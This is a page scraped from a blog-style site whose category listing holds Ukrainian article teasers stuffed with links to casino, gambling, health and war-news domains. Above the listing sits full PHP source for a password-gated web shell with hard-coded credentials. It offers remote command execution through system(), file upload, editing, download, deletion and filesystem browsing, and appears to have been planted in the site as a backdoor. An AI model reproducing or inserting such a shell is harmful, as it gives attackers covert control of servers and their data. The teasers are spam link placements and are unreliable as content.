if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Як правильно вибрати треккінгові палиці для походів в гори

    Перед тим як вирушати в невідомість, pohod.com.ua важливо звернути увагу на опори, які забезпечать стабільність і комфорт під час прогулянок. Перш ніж зробити свій вибір, оцініть тип місцевості: для легких маршрутів підійдуть легкі карбонові моделі, тоді як для важчих умов варто розглянути міцніші алюмінієві варіанти, які витримають великі навантаження. Довжина – один із ключових параметрів.…

    Click or not…

  • Продукти для поліпшення зору та підтримки здоров’я очей

    Включення шпинату до раціону допоможе запобігти дегенерації жовтої плями завдяки високому вмісту лютеїну і зеаксантину. Ці антиоксиданти знижують ризик розвитку серйозних захворювань зору, https://vy-doctor.com.ua/ зокрема катаракти. Вживайте рибу, особливо жирні сорти, такі як лосось та сардини, оскільки їх високий вміст омега-3 жирних кислот необхідний для підтримки зорової функції. Ці жири допомагають в боротьбі з синдромом…

    Click or not…

  • Як знайти надійного підрядника для IT проєкту без помилок

    Орієнтуйтесь на репутацію та відгуки про компанію. Вивчіть інформацію про попередні реалізовані роботи, звертайте увагу на приклади успішних справ, а також на відгуки клієнтів. Насамперед, дізнайтесь, proitservice.com.ua як тривало співробітництво з іншими особами, які замовляли подібні послуги. Визначайте, чи відповідає спеціалізація обраної команди вашим вимогам. Залучайте фахівців, які мають практичний досвід у певних технологіях та…

    Click or not…

  • Методи профілактики захворювань хребта та їх важливість для здоров’я

    Регулярна фізична активність є запорукою міцності вашої спини. Виконуйте вправи на зміцнення м’язів спини та преса не менше трьох разів на тиждень. Це може бути йога, https://mylikari.com.ua пілатес або звичайна атлетика. Збагачення рухової активності допомагає зменшити ризик хвороб, пов’язаних з опорно-руховим апаратом. Слідкуйте за правильною поставою під час сидіння та підйому важких предметів. Використовуйте спеціальні…

    Click or not…

  • Мобілізація та сервіс “Армія+”: як працює нова система обліку

    У сучасних умовах, коли безпека країни стає пріоритетом, питання мобілізації та обліку військовозобов’язаних набуває особливого значення. В Україні з метою оптимізації процесу мобілізації та підвищення ефективності обліку військовозобов’язаних впроваджено новий сервіс “Армія+”. Цей інноваційний підхід дозволяє не лише спростити процедури, https://warmonitor.com.ua але й забезпечити зручний доступ до необхідної інформації для всіх громадян, які підлягають військовій…

    Click or not…

  • Депозити та виведення коштів у казино: найшвидші методи оплати

    У сучасному світі онлайн-казино важливим аспектом є зручність та швидкість фінансових операцій. Депозити та виведення коштів є критично важливими для гравців, оскільки вони впливають на загальний досвід гри. У цій статті розглянемо найшвидші методи оплати, які пропонують онлайн-казино, https://slotroom24.com.ua а також їхні переваги та недоліки. Перш ніж розпочати гру в онлайн-казино, гравці повинні внести депозит.…

    Click or not…

  • Вклад Чехії та Данії: ініціативи, що вражають своїм масштабом

    Чехія та Данія, дві країни з багатою історією та культурною спадщиною, https://battleupdate.com.ua демонструють вражаючі ініціативи у різних сферах, які мають значний вплив на їхні суспільства та світ загалом. Ці ініціативи охоплюють екологічні, соціальні та економічні аспекти, що свідчить про їхню відповідальність та прагнення до сталого розвитку. Чехія, розташована в центрі Європи, активно займається екологічними ініціативами.…

    Click or not…

  • Гральні ліцензії КРАІЛ: чому важливо грати лише на легальних сайтах

    Гральний бізнес в Україні зазнав значних змін після легалізації у 2020 році. Важливим аспектом цієї легалізації стало створення Комісії з регулювання азартних ігор та лотерей (КРАІЛ), яка відповідає за видачу ліцензій та контроль за дотриманням законодавства у цій сфері. У цьому звіті ми розглянемо, чому важливо грати лише на легальних сайтах, https://slotdistrict.com.ua/ що мають ліцензії…

    Click or not…

  • Безкоштовні обертання (фріспіни) у слотах: як отримати та використати

    Безкоштовні обертання, або фріспіни, є однією з найбільш популярних акцій, які пропонують онлайн-казино. Вони дозволяють гравцям безкоштовно обертати барабани слотів, https://gamblingportal24.com.ua що може призвести до виграшів без ризику втратити власні кошти. У цьому звіті ми розглянемо, як отримати фріспіни, їх переваги та способи використання. Як отримати безкоштовні обертання Існує кілька способів, як гравці можуть отримати…

    Click or not…

  • Мільйонна військова допомога від США: що реально змінює ситуацію на фронті

    У 2023 році Україна отримала значну військову допомогу від Сполучених Штатів Америки, https://combatline.com.ua що становить мільйони доларів. Ця допомога включає в себе сучасну техніку, озброєння та навчання військовослужбовців, що суттєво впливає на ситуацію на фронті. В умовах триваючого конфлікту з Росією, підтримка США стала важливим фактором у зміцненні обороноздатності України. По-перше, варто зазначити, що військова…

    Click or not…